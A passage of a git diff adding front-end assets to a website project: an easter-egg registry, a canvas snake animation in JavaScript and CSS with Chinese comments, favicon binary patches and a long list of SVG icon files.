方法的实例。 + */ + const registry = { + effects: Object.create(null), + + /** + * 注册彩蛋。 + * @param {string} effectName + * @param {(context: object) => { destroy: Function }} factory + */ + register(effectName, factory) { + const key = (effectName || '').trim().toLowerCase(); + if (!key) { + console.warn('[EasterEggRegistry] 忽略空 effectName'); + return; + } + if (typeof factory !== 'function') { + console.warn('[EasterEggRegistry] 注册失败,factory 不是函数:', effectName); + return; + } + this.effects[key] = factory; + }, + + /** + * 创建彩蛋实例。 + * @param {string} effectName + * @param {object} context + * @returns {object|null} + */ + start(effectName, context = {}) { + const key = (effectName || '').trim().toLowerCase(); + const factory = this.effects[key]; + if (!factory) { + console.warn('[EasterEggRegistry] 未找到特效:', effectName); + return null; + } + try { + const instance = factory({ + ...context, + effect: key, + }); + if (!instance || typeof instance.destroy !== 'function') { + console.warn('[EasterEggRegistry] 特效未返回 destroy 方法:', effectName); + return null; + } + return instance; + } catch (error) { + console.error('[EasterEggRegistry] 特效初始化失败:', effectName, error); + return null; + } + }, + + has(effectName) { + const key = (effectName || '').trim().toLowerCase(); + return Boolean(this.effects[key]); + }, + + list() { + return Object.keys(this.effects); + }, + }; + + global.EasterEggRegistry = registry; +})(window); diff --git a/website-design/exp/static/easter-eggs/snake.css b/website-design/exp/static/easter-eggs/snake.css new file mode 100644 index 00000000..2a2002c2 --- /dev/null +++ b/website-design/exp/static/easter-eggs/snake.css @@ -0,0 +1,13 @@ +.easter-egg-overlay .snake-overlay { + position: absolute; + inset: 0; + pointer-events: none; + background: transparent; +} + +.easter-egg-overlay canvas.snake-canvas { + display: block; + width: 100%; + height: 100%; + background: transparent; +} diff --git a/website-design/exp/static/easter-eggs/snake.js b/website-design/exp/static/easter-eggs/snake.js new file mode 100644 index 00000000..4616b629 --- /dev/null +++ b/website-design/exp/static/easter-eggs/snake.js @@ -0,0 +1,503 @@ +(function registerSnakeEffect(global) { + const registry = global.EasterEggRegistry; + if (!registry) { + console.error('[easter-eggs:snake] 未找到 EasterEggRegistry,无法注册特效'); + return; + } + + registry.register('snake', function createSnakeEffect(context = {}) { + const root = context.root; + if (!root) { + throw new Error('缺少彩蛋根节点'); + } + const payload = context.payload || {}; + + const container = document.createElement('div'); + container.className = 'snake-overlay'; + + const canvas = document.createElement('canvas'); + canvas.className = 'snake-canvas'; + container.appendChild(canvas); + root.appendChild(container); + + const effect = new SnakeEffect(container, canvas, payload, context.app); + + return { + destroy(options = {}) { + return effect.stop(options); + } + }; + }); + + class SnakeEffect { + constructor(container, canvas, payload, app) { + this.container = container; + this.canvas = canvas; + this.ctx = canvas.getContext('2d'); + this.payload = payload || {}; + this.app = app || null; + this.targetApples = Math.max(1, Math.floor(Number(this.payload.apples_target) || 10)); + this.initialApples = Math.max(1, Math.floor(Number(this.payload.initial_apples) || 3)); + this.apples = []; + this.applesEaten = 0; + this.appleFadeInDuration = 800; + this.appleFadeOutDuration = 1500; + this.finalRun = false; + this.running = true; + this.finished = false; + this.cleanupRequested = false; + this.cleanupResolve = null; + this.cleanupPromise = new Promise((resolve) => { + this.cleanupResolve = resolve; + }); + this.appNotified = false; + this.pendingResizeId = null; + + this.resize = this.resize.bind(this); + window.addEventListener('resize', this.resize); + this.resize(); + this.scheduleResize(); + + this.snake = new Snake(this); + + const spawnTime = typeof performance !== 'undefined' ? performance.now() : Date.now(); + for (let i = 0; i < this.initialApples; i++) { + this.apples.push(this.createApple(spawnTime)); + } + + this.animate = this.animate.bind(this); + this.lastTime = 0; + this.frameInterval = 1000 / 60; + this.rafId = requestAnimationFrame(this.animate); + } + + scheduleResize() { + if (this.pendingResizeId) { + cancelAnimationFrame(this.pendingResizeId); + } + this.pendingResizeId = requestAnimationFrame(() => { + this.pendingResizeId = null; + this.resize(); + }); + } + + resize() { + const rect = this.container.getBoundingClientRect(); + let width = Math.floor(rect.width); + let height = Math.floor(rect.height); + + if (width < 2 || height < 2) { + width = window.innerWidth || document.documentElement.clientWidth || 1; + height = window.innerHeight || document.documentElement.clientHeight || 1; + } + + width = Math.max(1, width); + height = Math.max(1, height); + if (this.canvas.width !== width || this.canvas.height !== height) { + this.canvas.width = width; + this.canvas.height = height; + if (this.snake && typeof this.snake.handleResize === 'function') { + this.snake.handleResize(width, height); + } + } + } + + createApple(timestamp = null) { + const margin = 60; + const width = this.canvas.width; + const height = this.canvas.height; + const now = timestamp != null + ? timestamp + : (typeof performance !== 'undefined' ? performance.now() : Date.now()); + return { + x: margin + Math.random() * Math.max(1, width - margin * 2), + y: margin + Math.random() * Math.max(1, height - margin * 2), + opacity: 0, + fadeInStart: now, + fadeOutStart: null + }; + } + + handleAppleConsumed(index) { + this.applesEaten += 1; + const reachedGoal = this.applesEaten >= this.targetApples; + if (reachedGoal) { + this.apples.splice(index, 1); + this.startFinalRun(); + } else if (this.apples[index]) { + const now = typeof performance !== 'undefined' ? performance.now() : Date.now(); + this.apples[index] = this.createApple(now); + } + } + + startFinalRun(force = false) { + if (this.finalRun) { + return; + } + this.finalRun = true; + this.appleFadeOutStart = typeof performance !== 'undefined' ? performance.now() : Date.now(); + this.apples.forEach((apple) => { + apple.fadeOutStart = this.appleFadeOutStart; + }); + this.snake.beginFinalRun(); + if (force) { + this.applesEaten = Math.max(this.applesEaten, this.targetApples); + } + } + + drawApples(timestamp) { + const ctx = this.ctx; + const now = timestamp != null + ? timestamp + : (typeof performance !== 'undefined' ? performance.now() : Date.now()); + for (let i = this.apples.length - 1; i >= 0; i--) { + const apple = this.apples[i]; + if (apple.fadeOutStart) { + const progress = Math.min(1, (now - apple.fadeOutStart) / this.appleFadeOutDuration); + apple.opacity = 1 - progress; + if (apple.opacity <= 0.02) { + this.apples.splice(i, 1); + continue; + } + } else if (apple.fadeInStart) { + const progress = Math.min(1, (now - apple.fadeInStart) / this.appleFadeInDuration); + apple.opacity = progress; + if (apple.opacity >= 0.995) { + apple.fadeInStart = null; + apple.opacity = 1; + } + } else { + apple.opacity = 1; + } + + ctx.fillStyle = `hsla(${this.snake.hue}, 70%, 65%, ${apple.opacity})`; + ctx.beginPath(); + ctx.arc(apple.x, apple.y, 14, 0, Math.PI * 2); + ctx.fill(); + } + } + + animate(timestamp) { + if (!this.running) { + return; + } + this.rafId = requestAnimationFrame(this.animate); + const elapsed = timestamp - this.lastTime; + if (elapsed < this.frameInterval) { + return; + } + this.lastTime = timestamp - (elapsed % this.frameInterval); + + this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height); + + this.snake.findNearestApple(); + this.snake.update(); + this.drawApples(timestamp); + this.snake.draw(); + + if (this.finalRun && this.apples.length === 0 && this.snake.isCompletelyOffscreen(80)) { + this.finish(false, !this.cleanupRequested); + } + } + + stop(options = {}) { + const immediate = Boolean(options && options.immediate); + if (immediate) { + this.cleanupRequested = true; + this.finish(true, false); + return null; + } + if (this.finished) { + return this.cleanupPromise; + } + this.cleanupRequested = true; + if (!this.finalRun) { + this.startFinalRun(true); + } + return this.cleanupPromise; + } + + finish(immediate = false, notifyCompletion = false) { + if (this.finished) { + return; + } + this.finished = true; + this.running = false; + if (this.rafId) { + cancelAnimationFrame(this.rafId); + this.rafId = null; + } + if (this.pendingResizeId) { + cancelAnimationFrame(this.pendingResizeId); + this.pendingResizeId = null; + } + window.removeEventListener('resize', this.resize); + if (this.container && this.container.parentNode) { + this.container.parentNode.removeChild(this.container); + } + if (this.cleanupResolve) { + this.cleanupResolve(); + this.cleanupResolve = null; + } + if (immediate) { + this.apples.length = 0; + } + if (notifyCompletion && !this.cleanupRequested) { + this.notifyAppForCleanup(); + } + } + + notifyAppForCleanup() { + if (this.appNotified) { + return; + } + this.appNotified = true; + if (this.app && typeof this.app.destroyEasterEggEffect === 'function') { + setTimeout(() => { + try { + this.app.destroyEasterEggEffect(true); + } catch (error) { + console.warn('自动清理贪吃蛇彩蛋失败:', error); + } + }, 0); + } + } + } + + class Snake { + constructor(effect) { + this.effect = effect; + this.canvas = effect.canvas; + this.ctx = effect.ctx; + this.radius = 14; + this.targetLength = 28; + this.currentLength = 28; + this.speed = 2; + this.angle = 0; + this.targetAngle = 0; + this.hue = 30; + this.currentTarget = null; + this.targetStartTime = Date.now(); + this.targetTimeout = 10000; + this.timedOut = false; + this.finalRunAngle = null; + this.initializeEntryPosition(); + } + + initializeEntryPosition() { + const width = this.canvas.width; + const height = this.canvas.height; + const margin = 120; + const side = Math.floor(Math.random() * 4); + let startX; + let startY; + switch (side) { + case 0: + startX = -margin; + startY = Math.random() * height; + break; + case 1: + startX = width + margin; + startY = Math.random() * height; + break; + case 2: + startX = Math.random() * width; + startY = -margin; + break; + default: + startX = Math.random() * width; + startY = height + margin; + } + const targetX = width / 2; + const targetY = height / 2; + const entryAngle = Math.atan2(targetY - startY, targetX - startX); + this.angle = entryAngle; + this.targetAngle = entryAngle; + const tailX = startX - Math.cos(entryAngle) * this.targetLength; + const tailY = startY - Math.sin(entryAngle) * this.targetLength; + this.path = [ + { x: startX, y: startY }, + { x: tailX, y: tailY } + ]; + } + + handleResize(width, height) { + this.path.forEach((point) => { + point.x = Math.max(-40, Math.min(width + 40, point.x)); + point.y = Math.max(-40, Math.min(height + 40, point.y)); + }); + } + + findNearestApple() { + if (this.effect.finalRun) { + return; + } + const apples = this.effect.apples; + if (!apples.length) { + this.currentTarget = null; + return; + } + + const now = Date.now(); + if (this.currentTarget && (now - this.targetStartTime) < this.targetTimeout) { + const targetStillExists = apples.includes(this.currentTarget); + if (targetStillExists) { + const dx = this.currentTarget.x - this.path[0].x; + const dy = this.currentTarget.y - this.path[0].y; + this.targetAngle = Math.atan2(dy, dx); + this.timedOut = false; + return; + } + } + + let targetApple = null; + let targetDistance = this.timedOut ? -Infinity : Infinity; + + apples.forEach((apple) => { + const dx = apple.x - this.path[0].x; + const dy = apple.y - this.path[0].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (this.timedOut) { + if (distance > targetDistance) { + targetDistance = distance; + targetApple = apple; + } + } else if (distance < targetDistance) { + targetDistance = distance; + targetApple = apple; + } + }); + + if (targetApple) { + if (this.currentTarget !== targetApple) { + this.currentTarget = targetApple; + this.targetStartTime = now; + this.timedOut = false; + } else if ((now - this.targetStartTime) >= this.targetTimeout) { + this.timedOut = true; + } + + const dx = targetApple.x - this.path[0].x; + const dy = targetApple.y - this.path[0].y; + this.targetAngle = Math.atan2(dy, dx); + } + } + + beginFinalRun() { + if (this.finalRunAngle == null) { + this.finalRunAngle = this.angle; + } + this.targetAngle = this.finalRunAngle; + this.currentTarget = null; + } + + update() { + if (!this.effect.finalRun) { + let angleDiff = this.targetAngle - this.angle; + while (angleDiff > Math.PI) angleDiff -= 2 * Math.PI; + while (angleDiff < -Math.PI) angleDiff += 2 * Math.PI; + const maxTurnRate = 0.03; + this.angle += angleDiff * maxTurnRate; + } else if (this.finalRunAngle != null) { + this.angle = this.finalRunAngle; + } + + const head = { ...this.path[0] }; + head.x += Math.cos(this.angle) * this.speed; + head.y += Math.sin(this.angle) * this.speed; + if (!this.effect.finalRun) { + const margin = 0; + if (head.x < -margin) head.x = -margin; + if (head.x > this.canvas.width + margin) head.x = this.canvas.width + margin; + if (head.y < -margin) head.y = -margin; + if (head.y > this.canvas.height + margin) head.y = this.canvas.height + margin; + } + + this.path.unshift(head); + + if (!this.effect.finalRun) { + this.checkApples(head); + } + + this.trimPath(); + } + + checkApples(head) { + const apples = this.effect.apples; + for (let i = 0; i < apples.length; i++) { + const apple = apples[i]; + const dx = head.x - apple.x; + const dy = head.y - apple.y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.radius + 14) { + this.targetLength += 28 * 3; + this.currentTarget = null; + this.effect.handleAppleConsumed(i); + break; + } + } + } + + trimPath() { + let pathLength = 0; + for (let i = 0; i < this.path.length - 1; i++) { + const dx = this.path[i].x - this.path[i + 1].x; + const dy = this.path[i].y - this.path[i + 1].y; + pathLength += Math.sqrt(dx * dx + dy * dy); + } + + while (this.path.length > 2 && pathLength > this.targetLength) { + const last = this.path[this.path.length - 1]; + const secondLast = this.path[this.path.length - 2]; + const dx = secondLast.x - last.x; + const dy = secondLast.y - last.y; + const segmentLength = Math.sqrt(dx * dx + dy * dy); + + if (pathLength - segmentLength >= this.targetLength) { + this.path.pop(); + pathLength -= segmentLength; + } else { + break; + } + } + + this.currentLength = pathLength; + } + + draw() { + if (this.path.length < 2) { + return; + } + const ctx = this.ctx; + ctx.strokeStyle = `hsl(${this.hue}, 70%, 65%)`; + ctx.lineWidth = this.radius * 2; + ctx.lineCap = 'round'; + ctx.lineJoin = 'round'; + ctx.shadowBlur = 20; + ctx.shadowColor = `hsl(${this.hue}, 80%, 55%)`; + + ctx.beginPath(); + ctx.moveTo(this.path[0].x, this.path[0].y); + for (let i = 1; i < this.path.length; i++) { + ctx.lineTo(this.path[i].x, this.path[i].y); + } + ctx.stroke(); + ctx.shadowBlur = 0; + } + + isCompletelyOffscreen(margin = 40) { + const width = this.canvas.width; + const height = this.canvas.height; + return this.path.every((point) => { + return ( + point.x < -margin || + point.x > width + margin || + point.y < -margin || + point.y > height + margin + ); + }); + } + } +})(window); diff --git a/website-design/exp/static/favicon-16x16.png b/website-design/exp/static/favicon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..281dd8a9901c618b0d995c7f8d57c06029fc83a7 GIT binary patch literal 362 zcmV-w0hRuVP)t1q&r1kTyvd zNRdE767o|d?__6SGMW6551wMr?4FskyAc^P5g9YS2J^VaqEpY}9Ql3?R&c9LI%^F) z;uPs#4b;x}_z{2RaD^jNn6MUi5ypq~&O2tXV+tW_F^&Ty_4Ph}^(I?*)%8_8V?*?g zDkn(c&1(1{!K}+T!;`M(upq(vikT7C@gwJ6r?5jJsS&o&@xgggA36a48B z4u^R77-jXaeF7Eri4s^E&>$nh@!MmCt%WM4ur1y1!{id*_%wx(=O#5<6SGdeh7vC9 zqOXDaJNGc{)a!V0Z}v49DJ=j10RR6#I6_qb000I_L_t&o0KVEWgy&hJssI2007*qo IM6N<$f`R~>6#xJL literal 0 HcmV?d00001 diff --git a/website-design/exp/static/favicon-32x32.png b/website-design/exp/static/favicon-32x32.png new file mode 100644 index 0000000000000000000000000000000000000000..8f5748485afa27009081cd340253976d31cfcf90 GIT binary patch literal 716 zcmV;-0yF)IP)kqlPMk)Pm~Ac znuM7QLLw58OVfPUtaWB~d(J-R{LcAJ^D^K1bWUflz4kh5@3r?iRp@6`p`SGnK-K_8 zk#%HTM*H`qiF`{l9E5Z&Ah*ddl&4>0DY=gV0gNWE$VliLJwrClfM)C~nMOW`4AZ9I zhz)*$Y(#mwNH&;{9U-Hn49q4E$!}7FgtrK2ENLafNiBICXEZp$L8AqDD97NUkL0lV zXbc&JGO&r9C2eFn`GB`8=N`fDzV7Qn;F2M=`A>*Pt1h0s>40Y8ZPegr;5c;N zjs^x7tt2PNT<6(5(m+-P`aE}hA9EYr0477{{1Z8Vu%f-A+Id#;+TygId?9O~W!)=) z#df_!exmaFZoWke;{teK*JViFp#FQ;&@*4+bBWzQiXN6614;dQGLy8sMxNf0H{=F% zQAK^F%$mucK)5_JWsoKZ$%mF-;&Z?0zboJwQ~7=^(3BN^CiF_i9ElorIpOaxAy_jiJ>( zl)Sb8=0K0-Jep7LK^N#m#4OOzaV&;=?7ji{74_YXKy@U24_t;W7z>%21!IgR09CFn|8Ev=;OHn0000 + + diff --git a/website-design/exp/static/icons/arrow-left.svg b/website-design/exp/static/icons/arrow-left.svg new file mode 100644 index 00000000..b40bff85 --- /dev/null +++ b/website-design/exp/static/icons/arrow-left.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/bell.svg b/website-design/exp/static/icons/bell.svg new file mode 100644 index 00000000..6928ea26 --- /dev/null +++ b/website-design/exp/static/icons/bell.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/book.svg b/website-design/exp/static/icons/book.svg new file mode 100644 index 00000000..4abdae30 --- /dev/null +++ b/website-design/exp/static/icons/book.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/bot.svg b/website-design/exp/static/icons/bot.svg new file mode 100644 index 00000000..1a622f9d --- /dev/null +++ b/website-design/exp/static/icons/bot.svg @@ -0,0 +1,18 @@ + + + + + + + + diff --git a/website-design/exp/static/icons/brain-cog.svg b/website-design/exp/static/icons/brain-cog.svg new file mode 100644 index 00000000..777a2a7c --- /dev/null +++ b/website-design/exp/static/icons/brain-cog.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/brain.svg b/website-design/exp/static/icons/brain.svg new file mode 100644 index 00000000..25cbe755 --- /dev/null +++ b/website-design/exp/static/icons/brain.svg @@ -0,0 +1,20 @@ + + + + + + + + + + diff --git a/website-design/exp/static/icons/camera.svg b/website-design/exp/static/icons/camera.svg new file mode 100644 index 00000000..1e82bf45 --- /dev/null +++ b/website-design/exp/static/icons/camera.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/chat-bubble.svg b/website-design/exp/static/icons/chat-bubble.svg new file mode 100644 index 00000000..7026581c --- /dev/null +++ b/website-design/exp/static/icons/chat-bubble.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/website-design/exp/static/icons/check.svg b/website-design/exp/static/icons/check.svg new file mode 100644 index 00000000..5abe1527 --- /dev/null +++ b/website-design/exp/static/icons/check.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/checkbox.svg b/website-design/exp/static/icons/checkbox.svg new file mode 100644 index 00000000..b4f15656 --- /dev/null +++ b/website-design/exp/static/icons/checkbox.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/chevron-down.svg b/website-design/exp/static/icons/chevron-down.svg new file mode 100644 index 00000000..e70d30b8 --- /dev/null +++ b/website-design/exp/static/icons/chevron-down.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/circle-alert.svg b/website-design/exp/static/icons/circle-alert.svg new file mode 100644 index 00000000..578d25c0 --- /dev/null +++ b/website-design/exp/static/icons/circle-alert.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/clipboard.svg b/website-design/exp/static/icons/clipboard.svg new file mode 100644 index 00000000..de4cc013 --- /dev/null +++ b/website-design/exp/static/icons/clipboard.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/clock.svg b/website-design/exp/static/icons/clock.svg new file mode 100644 index 00000000..ff6a4fbe --- /dev/null +++ b/website-design/exp/static/icons/clock.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/copy.svg b/website-design/exp/static/icons/copy.svg new file mode 100644 index 00000000..75c8d638 --- /dev/null +++ b/website-design/exp/static/icons/copy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/eye.svg b/website-design/exp/static/icons/eye.svg new file mode 100644 index 00000000..e5e78706 --- /dev/null +++ b/website-design/exp/static/icons/eye.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/file-down.svg b/website-design/exp/static/icons/file-down.svg new file mode 100644 index 00000000..3a658510 --- /dev/null +++ b/website-design/exp/static/icons/file-down.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/file-pen.svg b/website-design/exp/static/icons/file-pen.svg new file mode 100644 index 00000000..aa5cc3ae --- /dev/null +++ b/website-design/exp/static/icons/file-pen.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/file.svg b/website-design/exp/static/icons/file.svg new file mode 100644 index 00000000..161be7a2 --- /dev/null +++ b/website-design/exp/static/icons/file.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/flag.svg b/website-design/exp/static/icons/flag.svg new file mode 100644 index 00000000..7a15001d --- /dev/null +++ b/website-design/exp/static/icons/flag.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/flask-conical.svg b/website-design/exp/static/icons/flask-conical.svg new file mode 100644 index 00000000..90ad9ea0 --- /dev/null +++ b/website-design/exp/static/icons/flask-conical.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder-closed.svg b/website-design/exp/static/icons/folder-closed.svg new file mode 100644 index 00000000..ef69b345 --- /dev/null +++ b/website-design/exp/static/icons/folder-closed.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/folder-git-2.svg b/website-design/exp/static/icons/folder-git-2.svg new file mode 100644 index 00000000..f122f047 --- /dev/null +++ b/website-design/exp/static/icons/folder-git-2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder-open.svg b/website-design/exp/static/icons/folder-open.svg new file mode 100644 index 00000000..07e3b8fe --- /dev/null +++ b/website-design/exp/static/icons/folder-open.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder.svg b/website-design/exp/static/icons/folder.svg new file mode 100644 index 00000000..ef69b345 --- /dev/null +++ b/website-design/exp/static/icons/folder.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/git-branch.svg b/website-design/exp/static/icons/git-branch.svg new file mode 100644 index 00000000..f916ff40 --- /dev/null +++ b/website-design/exp/static/icons/git-branch.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/git-fork.svg b/website-design/exp/static/icons/git-fork.svg new file mode 100644 index 00000000..7ad04cf7 --- /dev/null +++ b/website-design/exp/static/icons/git-fork.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/globe.svg b/website-design/exp/static/icons/globe.svg new file mode 100644 index 00000000..53c80ee3 --- /dev/null +++ b/website-design/exp/static/icons/globe.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/graduation-cap.svg b/website-design/exp/static/icons/graduation-cap.svg new file mode 100644 index 00000000..c0d186b1 --- /dev/null +++ b/website-design/exp/static/icons/graduation-cap.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/hammer.svg b/website-design/exp/static/icons/hammer.svg new file mode 100644 index 00000000..0f393235 --- /dev/null +++ b/website-design/exp/static/icons/hammer.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/info.svg b/website-design/exp/static/icons/info.svg new file mode 100644 index 00000000..49db3023 --- /dev/null +++ b/website-design/exp/static/icons/info.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/keyboard.svg b/website-design/exp/static/icons/keyboard.svg new file mode 100644 index 00000000..f5ad9f14 --- /dev/null +++ b/website-design/exp/static/icons/keyboard.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/laptop.svg b/website-design/exp/static/icons/laptop.svg new file mode 100644 index 00000000..613afff3 --- /dev/null +++ b/website-design/exp/static/icons/laptop.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/layers.svg b/website-design/exp/static/icons/layers.svg new file mode 100644 index 00000000..a36c416e --- /dev/null +++ b/website-design/exp/static/icons/layers.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/layout-grid.svg b/website-design/exp/static/icons/layout-grid.svg new file mode 100644 index 00000000..f8eca3a7 --- /dev/null +++ b/website-design/exp/static/icons/layout-grid.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/mcp-logo.svg b/website-design/exp/static/icons/mcp-logo.svg new file mode 100644 index 00000000..03d9f85d --- /dev/null +++ b/website-design/exp/static/icons/mcp-logo.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/website-design/exp/static/icons/menu.svg b/website-design/exp/static/icons/menu.svg new file mode 100644 index 00000000..0ec97458 --- /dev/null +++ b/website-design/exp/static/icons/menu.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/message-circle-question-mark.svg b/website-design/exp/static/icons/message-circle-question-mark.svg new file mode 100644 index 00000000..8fa6a307 --- /dev/null +++ b/website-design/exp/static/icons/message-circle-question-mark.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/mic.svg b/website-design/exp/static/icons/mic.svg new file mode 100644 index 00000000..d0dc8ed4 --- /dev/null +++ b/website-design/exp/static/icons/mic.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/monitor.svg b/website-design/exp/static/icons/monitor.svg new file mode 100644 index 00000000..e869f2f2 --- /dev/null +++ b/website-design/exp/static/icons/monitor.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/mouse-pointer-2.svg b/website-design/exp/static/icons/mouse-pointer-2.svg new file mode 100644 index 00000000..983109b5 --- /dev/null +++ b/website-design/exp/static/icons/mouse-pointer-2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/mouse-pointer-click.svg b/website-design/exp/static/icons/mouse-pointer-click.svg new file mode 100644 index 00000000..cd28cb73 --- /dev/null +++ b/website-design/exp/static/icons/mouse-pointer-click.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/navigation.svg b/website-design/exp/static/icons/navigation.svg new file mode 100644 index 00000000..deb338d6 --- /dev/null +++ b/website-design/exp/static/icons/navigation.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/notebook-pen.svg b/website-design/exp/static/icons/notebook-pen.svg new file mode 100644 index 00000000..6892d7c9 --- /dev/null +++ b/website-design/exp/static/icons/notebook-pen.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/notebook-search.svg b/website-design/exp/static/icons/notebook-search.svg new file mode 100644 index 00000000..a547706d --- /dev/null +++ b/website-design/exp/static/icons/notebook-search.svg @@ -0,0 +1 @@ + diff --git a/website-design/exp/static/icons/notebook.svg b/website-design/exp/static/icons/notebook.svg new file mode 100644 index 00000000..b50cf385 --- /dev/null +++ b/website-design/exp/static/icons/notebook.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/octagon.svg b/website-design/exp/static/icons/octagon.svg new file mode 100644 index 00000000..b5980951 --- /dev/null +++ b/website-design/exp/static/icons/octagon.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/pencil.svg b/website-design/exp/static/icons/pencil.svg new file mode 100644 index 00000000..7384498e --- /dev/null +++ b/website-design/exp/static/icons/pencil.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/play.svg b/website-design/exp/static/icons/play.svg new file mode 100644 index 00000000..5bd511c1 --- /dev/null +++ b/website-design/exp/static/icons/play.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/plus.svg b/website-design/exp/static/icons/plus.svg new file mode 100644 index 00000000..41f92bb9 --- /dev/null +++ b/website-design/exp/static/icons/plus.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/python.svg b/website-design/exp/static/icons/python.svg new file mode 100644 index 00000000..30587d81 --- /dev/null +++ b/website-design/exp/static/icons/python.svg @@ -0,0 +1 @@ +Python \ No newline at end of file diff --git a/website-design/exp/static/icons/recycle.svg b/website-design/exp/static/icons/recycle.svg new file mode 100644 index 00000000..bd207b30 --- /dev/null +++ b/website-design/exp/static/icons/recycle.svg @@ -0,0 +1,18 @@ + + + + + + + + diff --git a/website-design/exp/static/icons/refresh-cw.svg b/website-design/exp/static/icons/refresh-cw.svg new file mode 100644 index 00000000..2e2fd98b --- /dev/null +++ b/website-design/exp/static/icons/refresh-cw.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/save.svg b/website-design/exp/static/icons/save.svg new file mode 100644 index 00000000..07af0708 --- /dev/null +++ b/website-design/exp/static/icons/save.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/search.svg b/website-design/exp/static/icons/search.svg new file mode 100644 index 00000000..03e442a5 --- /dev/null +++ b/website-design/exp/static/icons/search.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/settings.svg b/website-design/exp/static/icons/settings.svg new file mode 100644 index 00000000..4c6263af --- /dev/null +++ b/website-design/exp/static/icons/settings.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/sparkles.svg b/website-design/exp/static/icons/sparkles.svg new file mode 100644 index 00000000..2d749398 --- /dev/null +++ b/website-design/exp/static/icons/sparkles.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/sticky-note.svg b/website-design/exp/static/icons/sticky-note.svg new file mode 100644 index 00000000..25f5cad1 --- /dev/null +++ b/website-design/exp/static/icons/sticky-note.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/terminal.svg b/website-design/exp/static/icons/terminal.svg new file mode 100644 index 00000000..c09409f4 --- /dev/null +++ b/website-design/exp/static/icons/terminal.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/trash.svg b/website-design/exp/static/icons/trash.svg new file mode 100644 index 00000000..690270a5 --- /dev/null +++ b/website-design/exp/static/icons/trash.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/triangle-alert.svg b/website-design/exp/static/icons/triangle-alert.svg new file mode 100644 index 00000000..3232fb06 --- /dev/null +++ b/website-design/exp/static/icons/triangle-alert.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/user-pen.svg b/website-design/exp/static/icons/user-pen.svg new file mode 100644 index 00000000..70183947 --- /dev/null +++ b/website-design/exp/static/icons/user-pen.svg @@ 